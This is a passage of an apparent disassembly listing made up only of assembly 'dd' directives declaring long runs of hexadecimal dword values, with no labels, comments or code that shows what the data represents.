		dd 0F9F20C20h, 9938ECABh, 3C4DD80Ch, 0E32902h, 7C8EDE41h
		dd 8428BB2Ch, 17081C66h, 2AC10021h, 0B26E25DEh,	7053197h
		dd 8CE0CE5h, 302E9422h,	510898CDh, 6FFCB6DDh, 0D56A0731h
		dd 25E08D98h, 8FA3F9h, 6B3B778h, 76045B7Ch, 2485B0C0h
		dd 60C06B2Eh, 0E5261061h, 0AD00CC19h, 7EBF8AE4h, 0F556E85Ch
		dd 36CFF4h, 88A444C9h, 0F57A1FE5h, 5272B400h, 7D166AB1h
		dd 0CBC40092h, 0F1EC6220h, 8D00A8EFh, 712C8806h, 0B0425Dh
		dd 0C533283h, 61383DC3h, 26161800h, 9CC5EC36h, 1447902Ah
		dd 95AE68EAh, 0E24B7700h, 64F2FAF6h, 0C4B74F07h, 1690B81Ah
		dd 74711734h, 0A1C30198h, 9E920BFAh, 118DCC9Ah,	3887400h
		dd 0F6AF75E5h, 0E060008Ch
		dd 28D625B1h, 0E2F4ABD5h, 117FFA00h, 61806486h,	986C00DDh
		dd 0C3E61590h, 0D33E16Dh, 7408C4h, 90B04C21h, 4BAE02C7h
		dd 0F000CBE2h, 0E642D506h, 284A399h, 77ECD6E7h,	0FCE04C08h
		dd 0DE30A9B1h, 2BFD408Ch, 24480141h, 5C4DA429h,	0D9089821h
		dd 1C341E21h, 0C4E4DA41h, 0C00F069Dh, 0D0AAAE00h, 36C23E60h
		dd 36E2E96Ah, 0C090CD90h, 973F1246h, 0ABE61408h, 4D4070C4h
		dd 667490AFh, 7F6A033Eh, 56588562h, 0DD890C67h,	2439CA7Fh
		dd 3F8FA422h, 0BAD03F18h, 4E3A00D2h, 6E96845h, 19C271FDh
		dd 787D6F2h, 4805C28Fh,	36D22400h, 61CA8069h, 569E28C6h
		dd 86A11F41h, 5DC44E91h, 0AEA9E7A3h, 32E8BB93h,	0EF009711h
		dd 0C566799Dh, 1FAFCC8h, 0AEDCB877h, 0C12D4E25h, 7CA1C068h
		dd 34BAA21Fh, 0B22C5485h, 8866CF00h, 0BB8B6Bh, 0C5DB5D13h
		dd 6D999EA2h, 728F3D01h, 1792CA26h, 0F5D4D8D3h,	937C0058h
		dd 97538260h, 0AD0064F1h, 8B2BF0EFh, 1FCD6AD9h,	5F3DCEB7h
		dd 36908070h, 1F1A2421h, 5080AE00h, 863583F6h, 3AAA0022h
		dd 0E8F0B287h, 0BF1EC610h, 0DB0E33E9h, 3B788553h, 0C55BFE00h
		dd 0FE4B1Eh, 0A3B6E29Ah, 5A2FCC6Bh, 65B058F8h, 2A96B703h
		dd 0C07410A4h, 0F090E961h, 98733E38h, 4221406Fh, 80E8D739h
		dd 0B704360h, 1CF26322h, 0FC3B6223h, 19C58180h,	0FE4329D2h
		dd 27AB8B1Fh, 53C030B1h, 503BBE20h, 7B01413h, 9017D239h
		dd 0C10729ABh, 0E0788C15h, 0B7D9FF0Dh, 1C0CD1EDh, 19C463CBh
		dd 0C0038FF2h, 2A788302h, 0D982123h, 2C4BA407h,	1A6EC07Ch
		dd 2042DEF7h, 4B115C15h, 0BEAE6000h, 0E925628Fh, 2B684001h
		dd 35D3FFC7h, 730320BDh, 332A3FEBh, 0D2803AD3h,	0FE011DA3h
		dd 0F1B35FECh, 0B180FCCCh, 0DA7309C7h, 0F92E2232h, 191DE5AEh
		dd 0C6897403h, 0C751412Dh, 0BB33088Fh, 0B0B617E3h, 86AADAE0h
		dd 0D2005CB8h, 1BB1B90Fh, 64F687ECh, 409778F3h,	9210F476h
		dd 9E1C0A4Ah, 8A0ECFAh,	588E2173h, 98AECAB0h, 0FDEB4B00h
		dd 7E12B09h, 0BABDF499h, 8A3C0FCh, 0B606EA6Eh, 84B8DA87h
		dd 6B610A79h, 11248118h, 2D03703Eh, 41B9CC6Eh, 6E0A3B1h
		dd 208DD6F1h, 48F1D94Eh, 2330D404h, 627410BAh, 0AC3B0145h
		dd 1C2049Fh, 420687DDh,	8135841Fh, 583E9D80h, 7D0CB816h
		dd 994517B8h, 0F59A00EAh, 18C3882Eh, 20C96D2Ch,	0D9EC8300h
		dd 0FF2EE94h, 0DBEA0165h, 99BB4060h, 0C300F02Ah, 0A87E5C3Bh
		dd 364B043h, 0AD0934A6h, 99A8D3D9h, 0DF01FBCAh,	0CFB89B5Fh
		dd 0C3DCEC2Eh, 84D0002Ch, 0C6090145h, 4907FDD3h, 893E9405h
		dd 0A15426B0h, 4DFE007Dh, 0A741FB9h, 320097FBh,	0D6E51261h
		dd 0F4252082h, 0F8A30377h, 681C39C2h, 0EDD819C8h, 8BECAE02h
		dd 0A75207CFh, 87A27890h, 18EA4029h, 32EF00D3h,	48E8D56Bh
		dd 41C0A97Fh, 0A35C9B83h, 598F218h, 34AD6DECh, 40ADC75Ah
		dd 411379E9h, 0DEBCB554h, 35200404h, 7C8071FBh,	0AB435Ch
		dd 75C76708h, 47B6CE01h, 85A86600h, 78E12219h, 9BE300BAh
		dd 91FBD9C5h, 4439CEAAh, 0A6F48ED8h, 94BF46B5h,	5641019Ah
		dd 0BEE56706h, 6C07C057h, 54426100h, 0DD051B27h, 3CCA0036h
		dd 7FA77C68h, 0DE000391h, 1D81D72Eh, 93C49Eh, 0D30265C9h
		dd 0EB58069Fh, 4200BCF2h, 9851EE32h, 0F78E02Ch,	0C91B287Fh
		dd 0B3235A07h, 67C8609Eh, 2460104Eh, 0CBFE4610h, 0D0BD0341h
		dd 77C17486h, 48B49FA0h, 8AB12700h, 0E667558Eh,	0D7893C0Bh
		dd 0B8CF16h, 61AAC4FCh,	800FA9A6h, 0A063AF62h, 0A215953Bh
		dd 0B0740C88h, 0EFB0F513h, 68BC1F24h, 0CA75FD80h, 1713DF0h
		dd 1846E6D7h, 306AF87Bh, 3B00EDB3h, 977EA643h, 0BA675Eh
		dd 0E85FD1CBh, 0B049D39Dh, 9A0A1504h, 2080EDA2h, 0BA531h
		dd 2CD8C948h, 91521121h, 0ED47207h, 3020C0FFh, 0A57020h
		dd 10D0171Eh, 0C9BFA8F4h, 0B5869200h, 5CBDC78Eh, 7130C76h
		dd 28E030AEh, 0F2C7149h, 20E88EBCh, 90D83E2h, 0BE9C0CC9h
		dd 7F113966h, 0AC1B6200h, 0CE56CD8Ch, 0F1349038h, 356FD0h
		dd 244FAF28h, 7F4532ECh, 0CE794902h, 80931DBEh,	0A660FFFBh
		dd 1FE201C6h, 2D36F3Bh,	0BC902022h, 85620901h, 8EAF4DCh
		dd 1DBBE3ECh, 673DFEh, 0C30B4BAh, 7F0C8872h, 29DE8753h
		dd 0ACE50324h, 0C8D83CFDh, 6C13160Fh, 503AC2CBh, 54ACA39Bh
		dd 28C1024Eh, 0E66CEF89h, 2E068448h, 8036D4A8h,	57FBA818h
		dd 444128h, 0E4B1E8CDh,	0DFA6F1B8h, 0C7471F00h,	1535AB12h
		dd 0A8F00572h, 80926E01h, 0F2F63E3h, 7EFA2D00h,	84BF3D40h
		dd 420400D3h, 6F22C068h, 5100A523h, 0E94AF615h,	7FEB9Eh
		dd 0EED8FB80h, 0A97DE22Ch, 8F33A000h, 3601E4B7h, 70580E56h
		dd 0C14003C0h, 0AE75905Dh, 97500700h, 0BE598EECh, 4D9E3CD7h
		dd 0C08F1080h, 7C777E6h, 305C440Fh, 6F75A0A7h, 356DDFh
		dd 0F65B98CAh, 1745C766h, 0BEFC4EEAh, 8653F001h, 520ABFC3h
		dd 1046C34h, 0B9616EF9h, 608A39D6h, 0A200B214h,	680757FCh
		dd 0B091F6E6h, 469600BDh, 0D0320154h, 0EA00511Ch, 0B34289Ah
		dd 1CE92AF0h, 8311B298h, 8D35FE85h, 3EE0E07Fh, 7C03BD7Ch
		dd 0B6190DB5h, 88F7902Eh, 6582004Ah, 23BC8F5Ah,	0F300E2E1h
		dd 0F0D347E7h, 0FAC16D6h, 977FBB42h, 0A5A13E40h, 0CE16305Dh
		dd 2C40E80Ah, 933B60D9h, 63D077Bh, 50074831h, 7923A425h
		dd 0EFBFCF07h, 81539BC2h, 453BA871h, 0D4A03FCh,	0DD990189h
		dd 0A3DBC3A8h, 9051EC07h, 2FE06477h, 837B1Eh, 63F16D03h
		dd 8DEE3826h, 93181990h, 0F8403E12h, 0A1E10109h, 29CB18D4h
		dd 218BDA5h, 7A385E8Bh,	6DB44978h, 0FBA6F8h, 43F165E0h
		dd 0F3F79EECh, 0D5073B12h, 0B3A6D00h, 60DE90B0h, 26BB2192h
		dd 5B09A386h, 80BD9AFBh, 4EBE49BCh, 0B71D000Fh,	3F1CAA27h
		dd 57E83B24h, 0D8D2F41Ch, 83C4CD40h, 0EE1755h, 0F12E35DFh
		dd 0FB62369Ch, 4AA3BB00h, 7396EC08h, 33F2001Ah,	343253C9h
		dd 7A00599Fh, 0B12579D5h, 0A322A2h, 1CAE367Ch, 0FC2924ECh
		dd 79C59D00h, 0B2EEB544h, 11250BE9h, 202EA78h, 6460548Ch
		dd 7B0367D2h, 683E6E1Ch, 59FDA858h, 1E5000A9h, 44F541E4h
		dd 2FF22617h, 0C6258404h, 0FCD1F67Bh, 0B5D819ECh, 42AB0094h
		dd 0E85716AFh, 4D00D392h, 19268F5Bh, 0A0C2212h,	11CADDDh
		dd 0AFB240ACh, 7700DC14h, 13D1E2FEh, 0E6C664h, 3E9C409h
		dd 8DAEEF1Eh, 0D673AF01h, 5CF97EABh, 7B1F9EE8h,	82A4004Ch
		dd 84D8C058h, 0B200E113h, 6ADCFD8Ah, 0C6CC0Ch, 0CD11B892h
		dd 0F91A79A0h, 0CED0A3Ah, 68634C8Ah, 90F662h, 7744CC3Eh
		dd 0F9706AAAh, 0DDEC6000h, 20E303EDh, 0C4675887h, 0A3B24900h
		dd 0D21F8B9h, 3EDF8601h, 9446504Eh, 3D636E4h, 9729A71h
		dd 0A188FEA3h, 69009538h, 5E88A56Ch, 2E359802h,	87A0B8FCh
		dd 0F011E5A4h, 6D39EBD6h, 48003CB2h, 810EFF1Fh,	14D521h
		dd 0DECF2F57h, 30E11D50h, 39496265h, 2EFC78C0h,	7AA0318h
		dd 0C97495EFh, 24ED06E9h, 0E1006E60h, 17FD45B6h, 0E8F5470Fh
		dd 0F372371Bh, 10B88F20h, 0DD894D2Ah, 70E8E0h, 0AE491597h
		dd 0FFB9D6ACh, 362AD500h, 370F76F9h, 66C1696h, 7273058Ch
		dd 0DF9E805Dh, 0AD7F38D6h, 4840E630h, 0C4ECFC36h, 0A1BE1E89h
		dd 9B5E014h, 5F3E7400h,	76B40CD4h, 4188A9BCh, 46E53887h
		dd 274C5CBh, 37AB3F0Ch,	0A6AA00C8h, 0D264DC02h,	9049DBC6h
		dd 0D02720h, 881DB00Eh
		dd 9EE73675h, 0F2B67203h, 0D8FABB10h, 0B82A78h,	44D3E9FBh
		dd 2040CCF0h, 24AC7F1Eh, 82FEEA80h, 706BC23h, 963D9E29h
		dd 6CF8404Ah, 0AC00E433h, 17FB3941h, 1856E48h, 0D661C06Dh
		dd 0C10A8187h, 0D11CDCEEh, 8627FB00h, 22E0E18Ah, 96FF0093h
		dd 32A7831Ah, 8D00986Ah, 821573BCh, 6F145BEh, 9A7FB03Eh
		dd 0C372C9BBh, 0C9127D00h, 0B3A2B44Fh, 9B1D18F1h, 0FD8821C1h
		dd 95711102h, 0E017DE0Ch, 6AD7E7Bh, 0C2F56C98h,	221528ACh
		dd 38C0DD28h, 920D00EFh, 72594B7Ch, 8F3C38C8h, 0BCD1AB80h
		dd 36A9DF76h, 7A706361h, 0C62F793Bh, 0C00071E7h, 7D7292DAh
		dd 2A036Ch, 5FDC028Ch, 3A4243C4h, 0E0785CA0h, 0E5E6F58h
		dd 0E0D2046Bh, 41183879h, 85B400E1h, 0EB817AFAh, 0F40E6C2Ah
		dd 60BBA2E4h, 911C5147h, 702B003Ah, 43BC53E5h, 79E8B3B6h
		dd 1D353103h, 0A0A3AE7Dh, 9672B8DAh, 0D0BD0964h, 0B30A64C0h
		dd 6649C101h, 9CA1D880h, 73E04DE4h, 0EC5800E4h,	642A6D0Eh
		dd 0CF00E919h, 860BAF7Eh, 268EBA3Dh, 3879F007h,	82B68C00h
		dd 5A6C854Fh, 0C2600D72h, 0F0347F20h, 0A4BD0084h, 0AF7C27ECh
		dd 2E01E98Ah, 972271FEh, 5884D9CEh, 83856C28h, 9DBBEE60h
		dd 7C1C609Fh, 0AB01EAAAh, 5B44EB6h, 0CFF44749h,	85D13CD2h
		dd 0C22096A9h, 5308FBDh, 26B50DF3h, 0C830F5CEh,	0E0004453h
		dd 82A68727h, 0E8A31730h, 0E121C0CCh, 0C7F8443Bh, 81621638h
		dd 0D8E3E71Ch, 39E049B0h, 99B1062Ah, 0D8FB37C5h, 8360308Dh
		dd 0B1B491h, 0D86B8EDEh, 0F6CB9AC2h, 5198B4A3h,	7AF41D03h
		dd 0A4313890h, 0FBA27ABEh, 0FEC46B30h, 27B398Bh, 0DFA80A7Dh
		dd 6906E61h, 0A896CA65h, 0D9AA5C12h, 5A9AA003h,	0E058FE9Fh
		dd 0A8A074CAh, 0F5ED949Ch, 64EF6500h, 0C5B2E0A0h, 4838408Bh
		dd 9C4C30D6h, 0D700FC1h, 28C37230h, 0F928602h, 53AF37D8h
		dd 0F6C27F80h, 0AE18CCE1h, 0CF79E73Ch, 9A09001Eh, 0F732C9B0h
		dd 0E33A0203h, 0AE6072F9h, 9A110820h, 89E8004Dh, 95C57D1Fh
		dd 7C061BC3h, 82B1C7B0h, 0A1D075E0h, 3D18BFB8h,	28B64404h
		dd 0D732A317h, 4485EF20h, 16510029h, 9426361Bh,	50C64AC1h
		dd 20E8BE86h, 84807F24h, 8A1D5859h, 0CB0F01ABh,	0CF11C46Eh
		dd 0FE166300h, 80908DD4h, 0F7085300h, 624CA266h, 6D8E8D6h
		dd 0E22363E1h, 6D1F5004h, 94284D75h, 1B30A900h,	5799DE6Bh
		dd 59ACA95Ch, 60CDE0D0h, 0B9EF8103h, 7A03808Eh,	62DAC30Ah
		dd 0EE083042h, 8E31A231h, 7BB6500h, 28FDA03Bh, 4D4B2E83h
		dd 991C0C6Ch, 4A027690h, 86468744h, 81C0A015h, 0AAA39C54h
		dd 1C048058h, 0C6FA2464h, 697A41E1h, 1B05EFF0h,	0A26701C4h
		dd 48442C82h, 8B9AF120h, 84086EA1h, 48BDFAB9h, 0F369F490h
		dd 0E18126E2h, 1F5F00F7h, 0AECD0792h, 80086849h, 0C9AC9A15h
		dd 20608C12h, 99FD0421h, 74E856h, 83B39B35h, 0CC75790Ah
		dd 2F6881FBh, 5F73BE06h, 3D9D7C8h, 2FFB323h, 0A050D878h
		dd 48CB414h, 27DF443Ch,	24D5627Fh, 5923020Eh, 0FC17409Bh
		dd 1662071Ch, 0D3E13401h, 0F1B6579Ah, 0A963DA31h, 0DCE410BBh
		dd 0D98002Ah, 0BC5C9AE2h, 22C9F2Fh, 0A00074C6h,	34D38E4Ch
		dd 8D831946h, 26A838B0h, 0A4A2208h, 7382874Fh, 0AECF62E0h
		dd 6711A80Ah, 0AD9A0C80h, 4BF1FAC9h, 140500A0h,	0AEEF1F9Ah
		dd 2FB81C88h, 0C992C11Ch, 4006A84Bh, 16580ECh, 33F0374Ch
		dd 596E0BEh, 9C75FC89h,	88B403D7h, 1802E26Ah, 8731CF50h
		dd 161848DAh, 318EEAAh,	0A322BE70h, 830C673h, 923321FEh
		dd 391B0087h, 45FD520Eh, 0C0097D18h, 97BC1C7h, 0B01801C0h
		dd 704B4DF3h, 30AEF384h, 0FC23EDA9h, 0A28F0052h, 0AA351041h
		dd 1026803h, 0C53D518Eh, 90BC866Eh, 0E368DD59h,	0C9481818h
		dd 0A4F952DAh, 0B4E041C0h, 5F024ECCh, 8F4A4912h, 250C4257h
		dd 2C4840D0h, 9A0AC339h, 0F72AC9F0h, 0C1EC6086h, 49A123Bh
		dd 0EB45A200h, 0A5A3D64Fh, 0D3C524FFh, 0D22F8048h, 0EE36FEDAh
		dd 2A2CB44Ch, 6805C4C6h, 14409E04h, 490AD006h, 0EC1A3890h
		dd 41F7C618h, 6E7EDAB7h, 58D24Ch, 67E936FFh, 910B2463h
		dd 447B08F8h, 4869948Ch, 0BE5728A3h, 0F2372EA0h, 45502816h
		dd 95F830FFh, 11C1BCF6h, 0B1BED9Ah, 12AB8881h, 0C94C100Fh
		dd 0CB34309Dh, 0CF74534Ch, 0DDC01014h, 0AA7A548Dh, 0C6EB448Ch
		dd 5F8EB500h, 0BD5632A6h, 0E2DFE2C7h, 0B16D60D9h, 2635BEB0h
		dd 0FA202807h, 0D1C0B7F5h, 6A778AEEh, 1158E1D8h, 0E2B08EABh
		dd 314E700Ah, 0B82910FBh, 1470087h, 93923A03h, 4C37BD7Bh
		dd 0ECD6E02Ah, 14010029h, 0FB71BB45h, 3F60F4BDh, 0C831620h
		dd 5FC5036Bh, 0FAA2C963h, 0CAFDF810h, 3D8DDCC0h, 0F099B27Ah
		dd 8EB4A1C1h, 9210F4h, 77263923h, 0C0204805h, 38DB6500h
		dd 36B41BE6h, 363C60B2h, 1E806AEDh, 0FA777C00h,	0DA32A8B6h
		dd 0AF092C86h, 5A10003Ch, 0C044D998h, 973FE93Eh, 1EFBAE4Eh
		dd 957DC3E5h, 40063EA1h, 0BA29C41Ch, 159858h, 5805D04Eh
		dd 0FEB43B43h, 0AFD6B012h, 0C0857408h, 0C9AB9A16h, 0FA220A46h
		dd 99FE0700h, 66A787B9h, 1B3031Bh, 0A6BD55B6h, 6D8C1A4h
		dd 0D8880FF3h, 0C05BE2C2h, 9016C61h, 0D92E15C4h, 844A7805h
		dd 9E88D26Eh, 7C44C08Ah, 1C00EC46h, 0D908E686h,	0CC068539h
		dd 0D365756Ah, 81742468h, 69AC009Ch, 0A855AF18h, 0F11A713h
		dd 3EC27000h, 6E417C28h, 0BEA0101Bh, 9E375176h,	37759F25h
		dd 703D8498h, 0E3254447h, 1120426Ah, 26818FC6h,	1509B4h
		dd 6097C5E2h, 72019010h, 6E24EF3Ch, 465EAC4Dh, 0DC2800FEh
		dd 3834539Fh, 206E49E7h, 6AF81E72h, 0F8E0706h, 8A08E01Dh
		dd 880E43B9h, 80EF5918h, 0BCBD7C3Bh, 3088C113h,	21DC46B3h
		dd 89B4C030h, 3660B100h, 5861744Eh, 83010087h, 75700EFDh
		dd 0D4A0DE11h, 382423EAh, 530308EEh, 0D0306E7Ch, 1936B21h
		dd 3A546216h, 200BFDB7h, 0BF051A50h, 51F7CD30h,	0ED7C82C0h
		dd 810D60CFh, 98D0B225h, 0EF658606h, 4C888596h,	100D0A9h
		dd 67BDC57Ah, 0DA0274F2h, 7D942682h, 62A8816Fh,	0A072B050h
		dd 20E9571Dh, 8D0251F8h, 88480D5Bh, 119CA015h, 17F839Ah
		dd 0A9F9F309h, 0E838CE3Ah, 0A803EC0Dh, 4CCBF676h, 2F510051h
		dd 26B914E2h, 50009A5Ch, 0C639E819h, 8EDDCBh, 7B51575h
		dd 9331ED6Fh, 0F37E8000h, 0FBEA196Dh, 75E6037Fh, 784808BAh
		dd 0D0656CE0h, 41D72C00h, 0A2865B69h, 3C73E83Ch, 5E0C9FE6h
		dd 9511757Eh, 2A129C0Bh, 0E52481EBh, 898E2A2h, 4A82126h
		dd 0B85120Eh, 3A5C06B8h, 0CFC41C60h, 0AD134690h, 701A2871h
		dd 3886FC9h, 90723184h,	0C330984h, 76358AEBh, 7900BF50h
		dd 0DCDA83B3h, 0C9A5C2h, 84E4C652h, 22BDD22Dh, 638AD500h
		dd 14ADCC4h, 0B0760CA1h, 86B1E58Bh, 0B8608D03h,	91BF6FB3h
		dd 898B79Bh, 652561AEh,	3A5D6007h, 2DB12B4Bh, 75DD50C8h
		dd 0A8BA6FE1h, 4C460780h, 10A0E4E5h, 0C09ABD01h, 0ADAE5850h
		dd 5F44E0h, 4FD40455h, 3D8A5A51h, 61C08972h, 2DA3C410h
		dd 37A7329h, 0D498211Fh, 6899A2CCh, 0E361E04Bh,	65E70905h
		dd 88437033h, 0E034F1D3h, 318A62ECh, 1A09F49Fh,	0B32080E7h
		dd 6C2C3576h, 0F60B7EE3h, 0F3D600A7h, 60EB3A33h, 0FD01E9CEh
		dd 0A01EEA73h, 0E058635Bh, 0EF123FE3h, 1911E123h, 3EDB52Ch
		dd 511F7193h, 4FFD9107h, 4AD6CBCCh, 25D4650h, 0EB4D129Dh
		dd 0AB7A1CD1h, 0D5F2121Ch
		dd 75CBF844h, 0F0BA0891h, 303DFCF0h, 2687449h, 3100FE41h
		dd 0AA224240h, 70F18BBh, 0A3F4B564h, 0A284103Ch, 58DD5AF9h
		dd 2E6C4F40h, 3ECCBC3Bh, 0A8503ED2h, 6A1C17F5h,	85720F53h
		dd 7CDB6960h, 0F6347113h, 0B808D1D8h, 352AC066h, 7A43EC9Eh
		dd 3577B080h, 5200C01Dh, 0B5E567EDh, 4CB4CBD1h,	7831D71Bh
		dd 502B8B49h, 742A31FCh, 0F4FB3F0Eh, 0A2BA6092h, 9D9237Ch
		dd 0FA80A59Eh, 40738004h, 69AF53B5h, 39C090D4h,	76122BA0h
		dd 306467B2h, 7FB35A60h, 0FC0F458Ch, 0E8006093h, 0FF95BCC1h
		dd 5D63DEEh, 1CF4E624h,	23282E6Eh, 338E00B1h, 0C0844296h
		dd 6AE86954h, 2234CE0Eh, 0CCF4FEh, 0BD9293A6h, 5208F672h
		dd 8C7AB0E7h, 0CA354E04h, 19625AECh, 356BB421h,	6A1ADC8h
		dd 0A911177h, 1A6080DDh, 80C00868h, 0A0F0A18Dh,	140BAABh
		dd 0EB50129Eh, 884D1899h, 120006B6h, 26B8D8DBh,	13FC70FBh
		dd 3F74CED9h, 4C2370h, 1D456E62h, 0D2288494h, 11A0E0F2h
		dd 3C78693Fh, 0BDC8B309h, 0C040006Eh, 904E0F58h, 70FB647Ch
		dd 129960C1h, 0B1EB2151h, 1201B7C1h, 172C5FE8h,	0FE82E0D1h
		dd 0ED0A800h, 368DFB8h,	63E208CEh, 79B06CEEh, 1C050120h
		dd 5280F645h, 0FCCAA000h, 7F34E2h, 292B694Bh, 0AC9F2A66h
		dd 0CD70977Dh, 408CD230h, 6082C0BFh, 465858B3h,	76014C65h
		dd 1DDD4322h, 88FC71D2h, 4B7C12ABh, 7ADC4037h, 10504EAh
		dd 0BF23EF00h, 0B49C8DAFh, 0BE0D0FBBh, 20D24C13h, 0D5BF533Ch
		dd 28CE850h, 0D0A5EA3Ah, 85E29124h, 0AE27FB00h,	767BFCD7h
		dd 6ABF0169h, 51C8BD59h, 22388377h, 7C705833h, 0FDA81050h
		dd 0B6B30980h, 5D600034h, 926ADD19h, 831A24B0h,	87808044h
		dd 928E14C5h, 802D823Bh, 0F5B69010h, 9C860C6h, 5736D7EAh
		dd 55DD3400h, 0AF30B7E9h, 4DA31092h, 0AD6C07D4h, 8013F4D6h
		dd 3E96A26Fh, 12C15560h, 28CB70Eh, 0B0B3878Fh, 0E840CE4Dh
		dd 0DB01F49Ch, 0CAA240EAh, 0CC302EDCh, 13CB0A3h, 0D27D16D8h
		dd 0F0B5787Eh, 933D9E70h, 10584C3Ch, 0CC06E723h, 88C4A06Ah
		dd 0D9C091E4h, 4140D6E4h, 0F4D200FCh, 86A2B180h, 9600DC4Bh
		dd 70A50149h, 7C6D10h, 0C9054D26h, 0F6942185h, 2BA6821Fh
		dd 6312800h, 79062EFh, 8BA46B79h, 0E1800EA7h, 0A27E9983h
		dd 86522201h, 0B66A7B85h, 4C1008A0h, 553AC3A7h,	0D3C66700h
		dd 62C4233h, 6A259315h,	1AB828h, 2EED0B87h, 0A854D16Ah
		dd 8B6BD300h, 0A66166FAh, 0CC2319DCh, 0E8D170C7h, 9A017AFBh
		dd 0D8657969h, 789184A4h, 0C1CB8F94h, 88CE5297h, 0AA88D40Ch
		dd 0AF6500D3h, 0F321F26Bh, 8213EB77h, 0CC007EFAh, 260D23E7h
		dd 30B96079h, 86BD3EACh, 283518C0h, 373CD2AAh, 562184A6h
		dd 1D3859CBh, 45490798h, 1F76DE90h, 91A0C8A9h, 9865CCC0h
		dd 5098D152h, 7900B522h, 0F55A65D4h, 75423Bh, 40C7286Dh
		dd 0D9E11959h, 2B809860h, 14DE83A3h, 0C0283B3Dh, 0CAC09788h
		dd 46529665h, 0D422E6h,	98A232C3h, 6D0C6C78h, 0E3DD101h
		dd 10F13E82h, 0E17AF080h, 0B0A11780h, 0A21910C5h, 0F12DCAC0h
		dd 2607009Ch, 57819B70h, 9500F08Bh, 7B305A2Eh, 3EE52FDh
		dd 687060B3h, 54A899B7h, 8A00B113h, 0C04208E1h,	0C30AB8h
		dd 0F126ED5Eh, 2EF36A6Fh, 0AC2B9100h, 5AA396F8h, 393EC1Bh
		dd 0A49E9A4Dh, 8BE0F611h, 20DE7142h, 0CE958D07h, 7031ACh
		dd 47F4E181h, 0BEEEA267h, 7F0E1A07h, 0B9B08FA0h, 0F92D0Ch
		dd 0B202A477h, 0D48A315Fh, 1D942C00h, 3A59DC03h, 4E7300DFh
		dd 0BF0D343Fh, 53EEBC7Ah, 0C0148952h, 0E440B942h, 771114B1h
		dd 32E02881h, 4800C7E9h, 0D41FC282h, 0A6C151Ah,	0D132B41h
		dd 0A7F300CBh, 4DBCC998h, 14814C29h, 0A7477E3h,	6A4A1070h
		dd 78897074h, 0EA078178h, 14DAE13Eh, 0FDAA07AFh, 855374E0h
		dd 7970140Eh, 2FE034C1h, 0B10DFF1Ch, 70D98CE8h,	5982018h
		dd 0F8A7E989h, 6944383Fh, 1DFF509h, 0E05A889Fh,	41B2E502h
		dd 0D9DC43A0h, 0F8202A67h, 63B07F0h, 0E7173628h, 0F5883371h
		dd 0FACE3018h, 7DAA308h, 37B8B346h, 221250DCh, 0CE304EB1h
		dd 0EF7E2111h, 4A310769h, 0A0022Fh, 0B9E92B73h,	0AF602400h
		dd 0D0D6751Ah, 8830C17Fh, 2197265Ah, 2B37EC24h,	9F23620Ch
		dd 20179AEh, 3DD46395h,	0A2C17E21h, 7B698116h, 3F8069EDh
		dd 3DA50BC8h, 9306B708h, 5092F1ECh, 1E34F600h, 0DD0BC53Eh
		dd 7AC004Ch, 4A5575AAh,	0A500BB76h, 7709DA74h, 7E8C46CBh
		dd 0C07D3825h, 458EFA00h, 5CC520D8h, 2392EE00h,	0E90BAF9Ah
		dd 0A89750A8h, 731931EFh, 80ADB369h, 5D2CF3B1h,	18ABBE9Ah
		dd 198EB427h, 337118DEh, 99E88400h, 6665FC90h, 0B9CF00D8h
		dd 776D4F79h, 0BCF83512h, 0D8A8EF7Dh, 6B00965Ch, 4509F6E5h
		dd 3CE3A650h, 725F04h, 60A488C9h, 7DC7B407h, 7E0210C5h
		dd 5FFC042Bh, 104F6530h, 17D5DAh, 9237B19h, 487E5660h
		dd 0E2A49C00h, 6A345FDCh, 0F3511F25h, 0F529B22Bh, 4DAB310h
		dd 0E85FDD0Ch, 1BE74477h, 68476148h, 789C88C8h,	1BDC7784h
		dd 44C2CD04h, 5048F22Ch, 1043DB43h, 3635951h, 6E226FC8h
		dd 69E0DF8Ch, 0D527E1h,	6D2DE49h, 818A831Dh, 77AEAF00h
		dd 2F9CF60Bh, 949900FDh, 0D3BB0C57h, 3700EDDEh,	0B6A0A185h
		dd 645D8Eh, 3F8A5363h, 0B01CD765h, 0EF75DE00h, 0D6B4FAA4h
		dd 36C000E5h, 170C0E96h, 0F2000F22h, 15316F90h,	25B20Ah
		dd 0B9D07F27h, 0E1AB0116h, 56BD4C0h, 95131Dh, 0EC29F4DDh
		dd 0E98581DCh, 774F1B16h, 16CDCF00h, 0ABF8EB2h,	9E2BC2B9h
		dd 0EB2380D4h, 9782DEEFh, 6D53431Ch, 0A4DAAA80h, 168092h
		dd 1DA8233Dh, 85ABDC64h, 9DFF1000h, 0C0AD9B0Ah,	40EB028Ch
		dd 0BEB92D87h, 0A54BFCA0h, 0DF0F8FF9h, 0C0D4CE23h, 7FEEFB45h
		dd 3739850h, 56AED1EDh,	7AF0B8B1h, 0A006204h, 953F14D2h
		dd 0F95EBDh, 0AB71C8E9h, 107EE521h, 54B39C00h, 4BFFEC34h
		dd 176C30C7h, 7C0AF702h, 0B36F2B1Ch, 603A43CCh,	968A0034h
		dd 3B268DECh, 9E00BB44h, 1733C452h, 266307F5h, 8EB25Eh
		dd 98B48447h, 0EA002692h, 67A1E9F8h, 0DA7D2Ch, 344CA3A9h
		dd 6FBCECFDh, 0EADEEE02h, 6099F8A0h, 20F14Ch, 48266645h
		dd 0AC2A1A95h, 23C5F00Eh, 8E1600C9h, 39DC6106h,	0C11F6E05h
		dd 2A070062h, 0F527DB10h, 0B9E5F70Eh, 9B6DE03Ch, 462193h
		dd 990BDF86h, 4F70F14Dh, 38E64Ch, 0B5FBE81Dh, 0E484F0h
		dd 0D04A16A2h, 0A3B89A5Ah, 23614D03h, 0B35BC7BDh, 0F5038890h
		dd 4B88007Eh, 92E0275Ch, 6600041Ah, 0C857FBD5h,	7434E4ECh
		dd 696E000Bh, 50803162h, 0B10075B7h, 0F8A6B378h, 7809DD5Ah
		dd 9D5D004Ch, 3F33F12Bh, 0ECE6D827h, 4E7ABA74h,	963D600h
		dd 2CDC8995h, 0C3941D90h, 0AAD940A9h, 0E77F33F4h, 7D98590Eh
		dd 0A0003103h, 81B162D3h, 0D8A0C15Ch, 9404BB46h, 0C60E150Bh
		dd 92775D80h, 0C47900B2h, 50C1FD6Eh, 32005980h,	0A2B036F9h
		dd 0C33758h, 3E5E8166h,	61D2F841h, 0A3651200h, 0FC6FE16Ch
		dd 4F920B9Ah, 0A880A640h, 79A7C8E3h, 81250709h,	6C740018h
		dd 3CD1A1CCh, 0CB001E3Bh, 0B43F22EAh, 631FF2F7h, 8CC02CF6h
